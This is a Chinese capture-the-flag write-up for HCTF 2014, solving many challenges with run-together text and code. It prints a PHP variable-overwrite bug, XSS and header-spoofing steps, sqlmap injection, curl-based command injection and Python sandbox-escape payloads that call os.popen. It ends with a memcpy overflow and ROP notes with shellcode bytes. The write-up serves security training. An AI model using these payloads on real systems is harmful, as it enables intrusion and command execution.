XCTF杭州站-HCTF2014Writeup(通关攻略)完美版2014-11-1009:50:03来源:360攻防实验室阅读:1305次分享到:本文由Sigma所有小伙伴版权所有,l0g1n整理2014年11月10日如有问题请联系l0g1n#qq.com360攻防实验室全网首发以下内容供安全爱好者参考学习,本文获得投稿奖励500元,即将打入作者账户,投稿请发送邮件至huangyuan#360.cn丘比龙的最爱(10pt)送分题,百度一下,得到答案。nvshen(100pt)下载得到一张base64编码的图片,解码后百度识图得到答案。babyCrack(100pt)Peid查下发现是.Net程序丢进ILSpy直接看到flag。GIFT(100pt)在源码中得到提示,下载index.php.bak?php$flag='xxx';extract($_GET);if(isset($gift)){$content=trim(file_get_contents($flag));if($gift==$content){echo'hctf{...}';}else{echo'Oh..';}}?很明显,这里存在变量覆盖漏洞,构造参数得到flag。babyCrack2(100pt)这个题目分析了几分钟发现不对头,然后根据flag的头部,发现密码了,将下面字符串每位减一,就可以得到flag了。Entry(200pt)根据13猜测为rot13编码,解码后得到一个md5Somd5解密得到flag。jianshu(400pt)HTML编码payload用burp改包提交得到一个ip和审核链接Xss获取远程IP地址:218.75.123.186后台访问页面:=V1ewX-Forwarded-For伪造登陆上去没有flag。看到提示后尝试更换思路看到2.jpgSQLMAP的截图,寻找注入点进行注入发现前台显示图片页面存在SQL注入:=1.jpg注入参数file,使用Sqlmap注入获取管理员名称:=A1rB4s1C加上X-Forwarded-For:218.75.123.186伪造ip登陆上去IRC(300pt)这题略坑,irc里面一个一个人的点whois,得到flag……NormalFile(300pt)发现图片中有多个PK头,尝试了多次,提取出来解压得到一张图片和一个文件夹,忘记是否还有其它东西了,取文件夹内的图片,提取出来另一张图片,再提取解压一次,得到下图的apk。丢进改之理,也可以用其它工具分析下,找到关键部分如下:整理得到:又看到strings.xml里有一个奇怪的字符串两个加号的形式很眼熟啊~猜测它就是paramString.charAt(0)+paramString.charAt(4)+paramString.charAt(8)+paramString.charAt(12)+paramString.charAt(1)++++paramString.charAt(13)计算得到flag。FuckMe(350pt)换字式密码。写个脚本对原密文中的字符进行替换,然后把密文丢进windecrypto跑一下,得到flag。Flag在正文中,找一下就可以得到了。wow(400pt)看了一个文件是ELF64位,加载运行试了下,出错了,直接用IDA分析,流程结构很简单,关键地方如下:经过分析,发现这是22元一次方程,编写脚本计算,可得KEY,脚本如下:1234567891importsysimportnumpyNUM=0x16matrix=[[0forcolinrange(NUM)]forrowinrange(NUM)]strings=[ThelightTokeepinmindtheholylight,Timeismoneymyfriend,WelcometotheaugerRuiMa,Areyouheretoplayforthehorde,ToarmsyeroustaboutsWevegotcompany,01112131415161718192021222324252627282930313Ahhwelcometomyparlor,Slaytheminthemastersname,YesrunItmakesthebloodpumpfaster,Shhhitwillallbeoversoon,Kneelbeforemeworm,Runwhileyoustillcan,RisemysoldiersRiseandfightoncemore,LifeismeaningleshThatwearetrulytested,BowtothemightoftheHighlord,ThefirstkillgoestomeAnyonecaretowager,Itisasitshouldbe,Thedarkvoidawaitsyou,InordertomoregloryofMichaelessienray,Rememberthesunthewellofshame,Maythewindguideyourroad,StrengthandHonour,Bloodandthunder]verify=[0x000373ca,0x00031bdf,0x000374f7,0x00039406,0x000399c4,0x00034adc,0x00038c08,0x00038b88,0x00038a60,0x0002b568,0x00032471,0x00037dea,0x00036f97,0x000378e4,0x00038706,0x00029010,0x00034c23,0x00038ef8,0x00038e29,0x0003925e,0x0002b5fc,0x0002584e]defgen_matrix():#init23334353637383940414243444546474849505152535forxinxrange(NUM):foryinxrange(NUM):matrix[x][y]=0#assignforxinxrange(NUM):_len=len(strings[x])foryinxrange(_len):ify=NUM:break;matrix[x][y]=ord(strings[x][y])result=[104,99,116,102,123,76,74,95,121,54,99,100,99,95,113,119,101,101,114,116,33,125]if__name__=='__main__':gen_matrix()verify=numpy.array(verify)matrix=numpy.array(matrix)printnumpy.linalg.solve(matrix,verify)forxinxrange(len(result)):sys.stdout.write(chr(result[x]))4555657585960616263646566676869707172opensource(300pt)(1)通过robots.txt发现有git泄露(2)之后就是把文件下载下来并读取内容wget://121.40.86.166:39339/.git/indexcpindex./.gitgitls-files--stage(3)通过读文件发现一个可以读flag的接口curl=tail%20-n%201431.txtcurl=tail%20-n%201381.txtKEY:starbucks(400pt)在“真的能做吗”中拿到shell以后,闲逛发现居然能cat到starbucks.py,发现题目和Hack.lu2012类似,然后().__class__.__bases__[0].__subclasses__()[40](/home/starbucks/grande/greentea/latte/flag).read()小伙伴说还可以酱紫cmd=().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals[linecache].__dict__[os]cmd=cmd.popen('ls-al')#这里填写命令就行了printcmd.read()FIND(200pt)Stegsolve看下,发现有个二维码。用ps反色后手机扫下得到flag。wzwzDingDing(500pt)拿到一个驱动文件,先用Ida看下后丢给edb-debugger动态分析在devcontrol里面有很多ctlcode,发几个凑好FFFFFF,在最后一个ctlcode中发现有这样一句话OK!YOUAREREALLYGOOD!Also,thereisa}left而在这个ctlcode中执行了下图的shellcode这段不完整的shellcode需要用前面的irp填补。为了凑出完整的shellcode使其正常执行,需要填补上\x50\x41\x50\x48\x83\xec\x28\x59\xc3加上hctf{}提交就是正确的flag。真的能做吗(600pt)使用nc连上以后,发现端口上绑定的就是前面的题目wow,那么题目的目的也就是要找到wow中的漏洞并利用。发现Check函数中的memcpy存在溢出漏洞,可覆盖Check函数的返回地址。不过有一点是,想要执行到leave;retn;输入的字符串前面一定要是wow题目正确的flag,否则verify比较失败会直接call_exit()。0000000000400FB0src=qwordptr-5D8h0000000000400FB0dest=byteptr-30h0000000000400FD1movrcx,[rbp+src]0000000000400FD8learax,[rbp+dest]0000000000400FDCmovrsi,rcx;src0000000000400FDFmovrdi,rax;dest0000000000400FE2call_memcpy然后就是想办法ROP调用system()。观察wow加载的动态链接库时发现wow自带了运行时所需要的动态链接库文件。然后又发现system()的入口似乎被破坏了。想其他办法。发现在start函数中,有一组指令可以被用来调用linux系统调用,而且在syscall前还可以自由设置rdi,rsi参数,太人性化了。00000000004015C5poprax00000000004015C6addrax,1Bh00000000004015CCmovrsi,[rax+10h]00000000004015D0movrdi,[rax+8]00000000004015D4movrax,[rax]